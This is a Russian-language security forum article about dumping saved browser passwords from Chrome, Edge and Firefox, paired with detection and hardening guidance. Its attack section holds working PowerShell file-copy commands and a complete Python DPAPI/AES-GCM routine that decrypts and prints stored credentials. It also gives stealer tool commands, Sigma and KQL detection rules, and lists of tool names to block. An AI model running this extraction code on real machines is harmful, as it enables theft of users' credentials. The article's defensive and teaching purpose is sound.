Когда я на red team-энгейджменте попадаю на рабочую станцию, первое, куда лезу - не контроллер домена и не lateral movement через SMB. Первая цель - директория
%LOCALAPPDATA%\Google\Chrome\User Data\Default\. Файл Login Data весит пару мегабайт, но внутри - ключи ко всему: корпоративным порталам, VPN-аккаунтам, облачным консолям. По данным ReliaQuest, browser credential dumping составил 21% всех инцидентов с кражей учётных данных у их клиентов в 2023 году. Атаки на "менеджеры паролей" браузера - одна из самых ходовых и результативных техник credential access в арсенале атакующих. Низкий порог входа, высокая отдача.В MITRE ATT&CK техника задокументирована как Credentials from Password Stores (T1555), Credential Access, с подтехникой Credentials from Web Browsers (T1555.003). Её используют десятки APT-группировок - от APT33 и APT41 до Kimsuky и LAPSUS$. Дальше разберём, как устроены хранилища паролей трёх основных браузеров, как атакующие их вскрывают и - что критически важно - какие артефакты остаются для Blue Team.
Архитектура хранения паролей в Chrome, Firefox и Edge
Прежде чем говорить об извлечении паролей из Chrome или взломе менеджера паролей Firefox, стоит разобраться, что именно мы атакуем. Каждый браузер хранит credentials по-своему, но все три используют локальные файлы, до которых можно добраться без единого сетевого запроса.Chrome и Edge: SQLite плюс DPAPI
Chrome и Edge (оба на движке Chromium) используют идентичную схему хранения. Основной файл - SQLite-базаLogin Data, расположенная по путям:- Chrome:
C:\Users\<Username>\AppData\Local\Google\Chrome\User Data\Default\Login Data - Edge:
C:\Users\<Username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Network\Cookies. Оба файла - обычные SQLite3-базы, к которым можно дёрнуть запрос напрямую. Согласно документации MITRE ATT&CK (T1555.003), для получения сохранённых credentials достаточно:
SQL:
SELECT action_url, username_value, password_value FROM logins;
password_value содержит зашифрованный блоб. В современных версиях Chrome (начиная с v80) - двухуровневая схема шифрования:- AES-256-GCM - пароль шифруется симметричным ключом
- DPAPI (Data Protection API) - сам ключ AES защищён через Windows DPAPI
Local State (JSON) по пути os_crypt.encrypted_key. Он закодирован в Base64 и зашифрован через DPAPI. Чтобы его расшифровать, атакующий вызывает CryptUnprotectData, она работает только в контексте того пользователя, который этот ключ создал. Тут ключевой момент: расшифровка паролей Chrome требует выполнения кода в сессии целевого пользователя. Без этого - никак.В старых версиях (до v80) использовалась прямая DPAPI-защита без промежуточного AES-ключа - каждый
password_value расшифровывался напрямую через CryptUnprotectData.Firefox: NSS и собственная криптография
Firefox идёт другим путём. Вместо DPAPI - собственная криптографическая библиотека
Ссылка скрыта от гостей
. Ключевые файлы профиля:key4.db- база с мастер-ключом (SQLite, заменила устаревшуюkey3.db)logins.json- JSON с зашифрованными логинами и паролямиcookies.sqlite- база cookies
C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<random>.default-release\Пароли в
logins.json шифруются через PKCS#11 SDR-механизм NSS (3DES-CBC, OID 1.2.840.113549.3.7). Firefox 58 (2018) перешёл с key3.db (BerkeleyDB) на key4.db (SQLite), при этом внутри key4.db мастер-ключ (NSS softtoken) может быть защищён AES-256-CBC вместо 3DES, но сами пароли в logins.json по-прежнему расшифровываются через PK11SDR_Decrypt. Инструменты извлечения (LaZagne, firepwd) определяют алгоритм защиты ключевого материала по OID в ASN.1-структуре key4.db. Ключ шифрования хранится в key4.db, защищённый опциональным мастер-паролем. Если пользователь его не установил (а большинство и не устанавливает) - расшифровка тривиальна: достаточно инициализировать NSS-контекст с путём к профилю, и всё.Именно эту особенность эксплуатирует stealer malware: BeaverTail, согласно MITRE ATT&CK, тупо собирает
key3.db, key4.db и logins.json из /.mozilla/firefox/ для последующей эксфильтрации.Практика извлечения: как работает кража credentials из браузера
Теперь к конкретике. Ниже - разбор ключевых артефактов и техник, которые я использую при post-exploitation, а потом - что именно эти действия оставляют в логах.
🔓 Эксклюзивный контент для зарегистрированных пользователей.
Расшифровка паролей Chrome через SQLite и DPAPI
Процесс расшифровки паролей Chrome - четыре шага:Шаг 1. Скопировать файлы
Login Data и Local State. Chrome держит блокировку на Login Data при работе, поэтому атакующий копирует файл в другое место:
Код:
# Копирование Login Data (Chrome держит блокировку на файле)
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" "$env:TEMP\LoginData.db"
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" "$env:TEMP\LocalState.json"
Local State:
Python:
import json, base64
# Пример для демонстрации концепции
with open("LocalState.json", "r") as f:
local_state = json.load(f)
encrypted_key_b64 = local_state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key_b64)
# Первые 5 байт - префикс "DPAPI", отбрасываем
encrypted_key = encrypted_key[5:]
Python:
import ctypes
import ctypes.wintypes
class DATA_BLOB(ctypes.Structure):
_fields_ = [
("cbData", ctypes.wintypes.DWORD),
("pbData", ctypes.POINTER(ctypes.c_char))
]
def dpapi_decrypt(encrypted):
blob_in = DATA_BLOB(len(encrypted), ctypes.create_string_buffer(encrypted, len(encrypted)))
blob_out = DATA_BLOB()
# CryptUnprotectData - сердце DPAPI-расшифровки
if ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out)
):
raw = ctypes.string_at(blob_out.pbData, blob_out.cbData)
ctypes.windll.kernel32.LocalFree(blob_out.pbData)
return raw
return None
aes_key = dpapi_decrypt(encrypted_key)
Python:
import sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
# Примечание: библиотека cryptography требует проверки в docs
conn = sqlite3.connect("LoginData.db")
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for url, user, encrypted_password in cursor.fetchall():
if len(encrypted_password) < 31:
continue # слишком короткий блоб (минимум: 3 префикс + 12 nonce + 16 GCM tag)
if encrypted_password[:3] == b'v10' or encrypted_password[:3] == b'v11':
# v10/v11 - маркер AES-256-GCM шифрования
nonce = encrypted_password[3:15] # 12 байт IV
ciphertext = encrypted_password[15:] # шифротекст с appended 16-байт GCM tag; AESGCM.decrypt() разделяет их автоматически
aesgcm = AESGCM(aes_key)
try:
plaintext = aesgcm.decrypt(nonce, ciphertext, None)
print(f"URL: {url} | User: {user} | Password: {plaintext.decode('utf-8')}")
except Exception: # InvalidTag - неверный AES-ключ (DPAPI расшифрован не тем пользователем)
print(f"URL: {url} | User: {user} | Password: <decryption failed>")
else:
# Старый формат - прямой DPAPI
decrypted = dpapi_decrypt(encrypted_password)
if decrypted:
print(f"URL: {url} | User: {user} | Password: {decrypted.decode('utf-8')}")
conn.close()
Извлечение из Firefox: атака на logins.json и key4.db
Для Firefox процесс другой. Если мастер-пароль не установлен:
Bash:
# Копирование ключевых файлов профиля Firefox
$profile = Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles\*.default-release" | Select -First 1
Copy-Item "$($profile.FullName)\key4.db" "$env:TEMP\"
Copy-Item "$($profile.FullName)\logins.json" "$env:TEMP\"
nss3.dll из установленного Firefox и вызывают NSS_Init, PK11SDR_Decrypt для расшифровки блобов из logins.json. Без мастер-пароля PK11SDR_Decrypt возвращает plaintext без дополнительной аутентификации. Просто так. В чём мать родила.
Если мастер-пароль установлен, атакующий может брутфорсить его -
key4.db содержит хэш для проверки. Но на практике в red team-кампаниях я встречал мастер-пароль менее чем у 5% пользователей. Пересказывать, почему люди его не ставят, смысла нет - все и так знают.Атаки на хранилище паролей Edge
Edge использует ту же архитектуру, что и Chrome (Chromium-based), так что атака идентична. Единственное отличие - пути к файлам:| Артефакт | Chrome | Edge |
|---|---|---|
| Login Data | AppData\Local\Google\Chrome\User Data\Default\Login Data | AppData\Local\Microsoft\Edge\User Data\Default\Login Data |
| Local State | AppData\Local\Google\Chrome\User Data\Local State | AppData\Local\Microsoft\Edge\User Data\Local State |
| Cookies | ...\Default\Network\Cookies | ...\Default\Network\Cookies |
Инструментарий атакующего: от LaZagne до Mimikatz
Техника T1555.003 настолько популярна, что инструментов под неё - целый зоопарк. Вот что реально используется в атаках (по данным MITRE ATT&CK и Unit42):LaZagne - open-source утилита на Python, тянет credentials из Chrome, Firefox, Edge, Opera и десятков других приложений. Используется APT33, OilRig, Leafminer. Команда
lazagne.exe browsers - и все сохранённые браузерные пароли у тебя за секунды.Mimikatz (модуль dpapi) - помимо kerberos-атак, Mimikatz умеет работать с DPAPI: извлекать мастер-ключи, расшифровывать блобы. Особенно опасен в связке с доступом к контроллеру домена, где хранится DPAPI backup key - с ним можно расшифровать данные любого пользователя в домене.
HackerBrowserData - Go-утилита с GitHub, экспортирует credentials, cookies, историю и закладки из всех основных браузеров. Для red team удобна тем, что компилируется в один бинарник без зависимостей. Стянул, запустил, забрал - всё.
Empire / Cobalt Strike - post-exploitation фреймворки с модулями для browser credential dumping. Empire вытягивает пароли из Firefox и Chrome через встроенные PowerShell-модули. Cobalt Strike - через BOF (Beacon Object Files).
Metasploit - модуль
post/windows/gather/enum_chrome собирает историю, cookies и данные автозаполнения из Chrome, но его поддержка расшифровки паролей из современных версий (v80+, AES-256-GCM) может хромать в зависимости от версии фреймворка. Для полноценного извлечения паролей часто проще прокинуть SharpChrome или LaZagne через execute. Для Firefox есть post/multi/gather/firefox_creds, хотя совместимость с современными key4.db (AES-256-CBC) тоже стоит проверять под конкретную версию Metasploit.Stealer malware - отдельная каста. Emotet, TrickBot (модуль pwgrab32), Lumma Stealer, RedLine, Azorult - все включают модули для кражи браузерных паролей. По данным MITRE ATT&CK, Lumma Stealer извлекает credentials из нескольких браузеров одновременно, а Emotet распространяет специализированные модули-грабберы.
Что остаётся в логах: детектирование кражи паролей браузера
Переключаемся на Blue Team. Каждое действие атакующего оставляет след - если знаешь, где искать.Файловый доступ к базам credentials
Самый очевидный индикатор - процесс, который не является браузером, лезет в файлыLogin Data, logins.json или key4.db. Включите аудит файлового доступа (Windows Event ID 4663) для следующих путей:
Код:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%APPDATA%\Mozilla\Firefox\Profiles\*\logins.json
%APPDATA%\Mozilla\Firefox\Profiles\*\key4.db
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
YAML:
# Пример для демонстрации концепции
title: Suspicious Access to Browser Credential Files
id: d7c9b22a-4f3e-4a1b-8c55-credential-access
status: experimental
description: Detects non-browser process accessing browser credential stores
logsource:
category: file_access
product: windows
detection:
selection:
TargetFilename|contains:
- '\Login Data'
- '\logins.json'
- '\key4.db'
- '\cookies.sqlite'
- '\Local State'
filter_browsers:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
- '\brave.exe'
- '\opera.exe'
filter_system:
Image|startswith:
- 'C:\Windows\System32\'
condition: selection and not filter_browsers and not filter_system
falsepositives:
- Browser update processes
- Legitimate backup software
level: high
tags:
- attack.credential_access
- attack.t1555.003
Вызовы CryptUnprotectData
ВызовCryptUnprotectData - сердце DPAPI-расшифровки. Мониторинг через ETW (Event Tracing for Windows) или endpoint-решения позволяет выловить попытки расшифровки. На что обращать внимание:- Процесс, вызывающий
CryptUnprotectData, - неchrome.exe, неmsedge.exe, неfirefox.exe - Массовые вызовы (легитимный браузер расшифровывает по одному паролю при автозаполнении, атакующий - сотни подряд)
powershell.exeилиpython.exe, дёргающиеcrypt32.dllчерез P/Invoke или ctypes
PowerShell-логирование
По рекомендации экспертов Exabeam, включите PowerShell Script Block Logging (Event ID 4104) и Module Logging (Event ID 4103). Это позволяет поймать скрипты вродеGet-ChromePassword.ps1, обращающиеся к файлам Login Data.KQL-запрос для Microsoft Sentinel - обнаружение подозрительного доступа к credential-файлам:
Код:
// Пример для демонстрации концепции
DeviceFileEvents
| where Timestamp > ago(24h)
| where FileName in~ ("Login Data", "logins.json", "key4.db", "Local State")
| where InitiatingProcessFileName !in~ ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe")
| where InitiatingProcessFileName !in~ ("svchost.exe", "SearchProtocolHost.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, FileName, FolderPath
| sort by Timestamp desc
Процессные аномалии
Отслеживайте запуск известных инструментов:
Код:
// Пример для демонстрации концепции
DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine has_any ("lazagne", "hackbrowserdata", "browserpassview",
"sharpchrome", "enum_chrome", "dpapi::chrome")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
cmd.exe или powershell.exe в быстрой последовательности копирует файлы из директорий нескольких браузеров, а затем инициирует исходящее сетевое соединение - это почти наверняка инфостилер или ручная эксфильтрация. Такой паттерн стоит ловить отдельным правилом.Реальные APT-группы и stealer malware: кто и как использует browser credential dumping
Масштаб проблемы лучше всего видно по конкретным группам из MITRE ATT&CK:| Группа / Malware | Целевые браузеры | Метод |
|---|---|---|
| APT33 | Chrome, Firefox | LaZagne |
| APT41 | Chromium-based | BrowserGhost |
| Kimsuky | Chrome, Firefox, Opera | WebBrowserPassView, расширения Chrome |
| LAPSUS$ | Все основные | Покупка credentials у брокеров / инсайдеров (включая данные от infostealers) |
| Emotet | Chrome, Firefox, IE | Специализированные модули-грабберы |
| Lumma Stealer | Несколько браузеров | Встроенный модуль извлечения |
| TrickBot | Chrome, Firefox, Edge, IE | Модуль pwgrab32 |
| OilRig | Chrome, Edge | CDumper (Chrome), EDumper (Edge), LaZagne |
| BeaverTail | Chrome, Firefox | Кража key4.db, logins.json, Login Data |
По данным Unit42 (Palo Alto Networks), credential gathering из стороннего ПО - один из ключевых этапов реальных атак, где сохранённые пароли браузера часто дают доступ к доменным учёткам из-за повторного использования паролей. Один пароль от Jira - и вот уже lateral movement по всему домену.
Защита credentials в браузере: практические рекомендации
Как человек, который эксплуатирует эти слабости на red team-энгейджментах и потом пишет рекомендации для клиентов, привожу проверенные меры:Для конечных пользователей:
- Не сохраняйте пароли во встроенных менеджерах браузера. Используйте выделенные менеджеры паролей с мастер-паролем и MFA.
- В Firefox обязательно установите мастер-пароль (
about:preferences#privacy→ раздел «Логины и пароли»). Без него ваши пароли не защищены вообще - от слова совсем. - Не используйте одинаковые пароли для разных сервисов. Если атакующий вытянет пароль из одного места, он попробует его везде.
- Включите аудит файлового доступа (Event ID 4663) для директорий профилей браузеров.
- Включите PowerShell Script Block Logging (4104) и Module Logging (4103).
- Деплойте Sigma-правила для детектирования доступа к
Login Data,key4.db,logins.jsonне-браузерными процессами. - Мониторьте вызовы
CryptUnprotectDataчерез EDR - массовые вызовы от необычных процессов это высокоприоритетный алерт. - Настройте application whitelisting: заблокируйте запуск
lazagne.exe,hackbrowserdata.exe,browserpassview.exeи аналогов.
- Через GPO можно запретить Chrome и Edge сохранять пароли: политика
PasswordManagerEnabled = false. - Ограничьте запуск PowerShell для рядовых пользователей или используйте Constrained Language Mode.
- Credential Guard защищает доменные credentials (NTLM, Kerberos) в LSASS, но не защищает DPAPI user master keys, которые используют Chrome/Edge. Начиная с Chrome 127 (2024), Google внедрил App-Bound Encryption - ключ шифрования привязывается к идентификатору приложения через системный сервис с повышенными привилегиями. Это серьёзно усложняет извлечение credentials сторонними процессами, хотя обходы уже исследуются (инъекция в процесс Chrome, доступ с правами SYSTEM). Для защиты от DPAPI-атак на уровне домена - ограничьте доступ к DPAPI backup key на контроллере домена и рассмотрите Windows Hello for Business как альтернативу паролям.
- На macOS разверните MDM для контроля доступа к Keychain, как рекомендуют эксперты ReliaQuest.
Не «подводя итоги», а по делу
Атаки на "менеджеры паролей" браузера - техника с низким порогом входа и высокой отдачей. SQLite-базы лежат в предсказуемых местах, DPAPI расшифровывает пароли в контексте пользователя без дополнительных секретов, а Firefox без мастер-пароля вообще не сопротивляется. Browser credential dumping доступен даже операторам с минимальной квалификацией - скачал LaZagne, запустил, готово.Но у медали обратная сторона: каждый шаг атаки оставляет детектируемые артефакты. Доступ к файлам - Event ID 4663. Вызовы DPAPI - ETW и EDR-телеметрия. PowerShell-скрипты - Script Block Logging. Запуск инструментов - process creation events. Грамотный мониторинг превращает browser credentials из низко висящего фрукта в ловушку для атакующего.
Проверьте прямо сейчас: у вас включён аудит доступа к
Login Data и key4.db? Если нет - настройте по Sigma-правилу из этой статьи. А заодно откройте Firefox, зайдите в about:preferences#privacy и посмотрите, установлен ли мастер-пароль. Спорим, что нет?
Последнее редактирование модератором: